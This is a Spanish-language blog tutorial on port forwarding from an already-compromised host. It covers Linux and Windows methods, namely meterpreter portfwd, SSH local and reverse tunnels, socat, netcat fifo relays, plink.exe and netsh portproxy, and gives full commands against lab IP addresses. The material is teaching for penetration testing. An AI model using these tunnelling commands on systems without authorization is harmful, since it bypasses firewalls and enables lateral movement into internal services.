A veces intentando acceder o explotar un servicio de un host al que ya tenemos acceso nos encontramos con que ese servicio solo es accesible internamente o este esta protegido por un firewall. Para conseguir acceder al objetivo y por ejemplo poder utilizar herramientas de nuestro equipo podemos utilizar la técnica de re dirección de puertos. En este post enseñare diferentes métodos que se pueden emplear en entornos Windows y Linux.
Si conocéis mas métodos o queréis hacer alguna corrección no dudéis en comentarlo.
Linux
Para la explicación de las diferentes técnicas utilizaremos un objetivo de ejemplo que sera una máquina virtual con un servicio http en el puerto 80 pero que gracias a una regla de su firewall no nos permite acceder desde el exterior.
Teniendo una shell en la maquina objetivo realizaremos distintas re direcciones de su puerto 80(http) a un puerto local de nuestro equipo.
-
Metasploit
En este método utilizaremos herramientas de metasploit por lo que necesitaremos una sesión de meterpreter en el objetivo. Este método es el mas sencillo pero con lleva utilizar estas herramientas que no siempre son recomendables o están permitidas.
En este post contaremos con que la sesión ya esta abierta.
Primero abrimos un canal de shell con el objetivo para obtener la ip. Después gracias a una de las utilidades de meterpreter llamada portfwd realizamos la re dirección de puertos.portfwd add -l 8080 -p 80 -r 172.16.185.132
Una vez la re dirección esta hecha si lanzamos un nmap vemos que el puerto 8080 esta abierto.
Si abrimos el navegador y accedemos al 8080 vemos la misma web que en el objetivo.
-
SSH
Con este método veremos la re direcciones de puertos que ofrece SSH, este método es muy eficiente y seguro pero puede requerir credenciales de un usuario para el acceso mediante SSH.
Una vez tenemos las credenciales podemos realizar dos tipos de re dirección, normal y reversa.
La primera consistirá en redirigir su puerto 80 al puerto 8080 local, logueandose en su SSH.
ssh -L 8080:localhost:80 -N -f [email protected]
El resultado es que tenemos acceso al http de la víctima en localhost:8080
La reversa consistirá en una re dirección conectándonos desde una shell del objetivo a un SSH que levantaremos en nuestra máquina por lo que en este caso no necesitamos credenciales.
En este caso la re dirección se produce de manera reversa.
ssh -R 8080:localhost:80 [email protected] -N -f
Como vemos al final del GIF el puerto 8080 esta abierto y si lo abriésemos en el navegador veríamos la misma página.
-
Socat
Utilizaremos la herramienta socat que es una utilidad de linea de comandos que permite hacer múltiples direccionamientos de red.
Es una herramienta con gran variedad de utilidades y con una sintaxis algo compleja.
En ocasiones esta herramienta puede no estar instalada en la máquina de la víctima pero también se pueden utilizar los binarios estáticos https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat
Necesitaremos ejecutar en nuestra máquina un servidor con Socat que está a la escucha y redirige hacia el puerto que nosotros le indiquemos en la segunda direcciónsocat -v TCP4-LISTEN:10000 TCP4-LISTEN:8080
Posteriormente ejecutaremos la conexión en la víctima donde indicamos el puerto del servidor de nuestra máquina y el servicio que queremos redirigir en este caso el 80.
socat TCP4:172.16.185.1:10000 TCP4:localhost:80
El resultado es que tenemos acceso al http de la víctima en localhost:8080
Como hemos visto si hacemos curl http://localhost:8080/index.html
-
Netcat
En este caso utilizaremos la navaja suiza del hacking. Esta herramienta que se encuentra instalada por defecto en la mayoría de las distribuciones UNIX nos permite realizar conexiones.
En este caso y con la ayuda de unos pipes lo utilizaremos para hacer nuestra re dirección.
Primero necesitaremos ejecutar en la maquina de la víctima el comando indicado que lo primero que hace es crear un pipe y posteriormente una escucha en el puerto que utilizaremos para conectar desde nuestra maquina, este tiene que ser accesible para nosotros y es recomendable usar uno que no requiera permisos de administrador. Sobre esta escucha se volcará el contenido del pipe creado. El siguiente comando concatenado con un | realiza la conexión al puerto del servicio a redirigir en este caso el 80 y vuelca la respuesta en nuestro pipe.rm -f fifo;mkfifo fifo;nc -v -lk -p 8080 <fifo | nc -v localhost 80 >fifo
Posteriormente en nuestra máquina utilizaremos el mismo procedimiento para volcar la conexión al puerto que dejamos a la escucha en la máquina víctima en un puerto local nuestro y así conseguir acceder en localhost:8080 a su http
rm -f fifo;mkfifo fifo;nc -v -lk -p 8080 <fifo | nc 172.16.185.132 8080 >fifo
El resultado es que tenemos acceso al http de la víctima en localhost:8080
Como hemos visto si hacemos curl http://localhost:8080/index.html
Windows
Para representar el ataque al Windows utilizaremos el servicio http que crearemos con UniServerZ, un programa portable que da una solución WAMP rápida. Este por defecto esta configurado para no aceptar peticiones desde el exterior
El Apache también estará corriendo en el puerto 80
-
Metasploit
En este caso no voy a poner ni el ejemplo ya que su funcionamiento es exactamente igual que el de un ataque a Linux.
-
Plink.exe
Es una herramienta de Microsoft que realiza las funciones que SSH realizaría en un sistema UNIX.
Es una herramienta antigua pero como es un binario estático podemos pasarlo desde nuestro equipo para ejecutarlo en la víctima.
Debemos levantar el servidor SSH en nuestro equipo, yo en este caso me cree un usuario para no revelar las credenciales.
Ahora en la máquina víctima usaremos plink en modo remote port forwarding, la sintaxis es similar a la del ssh.plink.exe -ssh [email protected] -R 8080:localhost:80
-
NETSH
En este caso utilizaremos una herramienta propia de Microsoft que se encuentra por defecto por lo que en caso de no poder subir ficheros será una buena opción
En la máquina de la víctima deberemos ejecutar este comando que dispondrá a la escucha un puerto de proxy que redirigirá el tráfico del puerto y la dirección que le indicamos en el connect address y connect port.netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=127.0.0.1
En nuestra máquina tendremos que conectarnos de la misma manera que en las anteriores
rm -f fifo;mkfifo fifo;nc -v -lk -p 8080 <fifo | nc 192.168.1.38 8080 >fifo
Herramientas:
Metasploit, OpenSSH, Plink.exe
Qué bien! Vuelve a estar activo el blog! Enhorabuena por el curro. No perdáis las ganas de seguir subiendo cosas de vez en cuando. El contenido es de mucha calidad.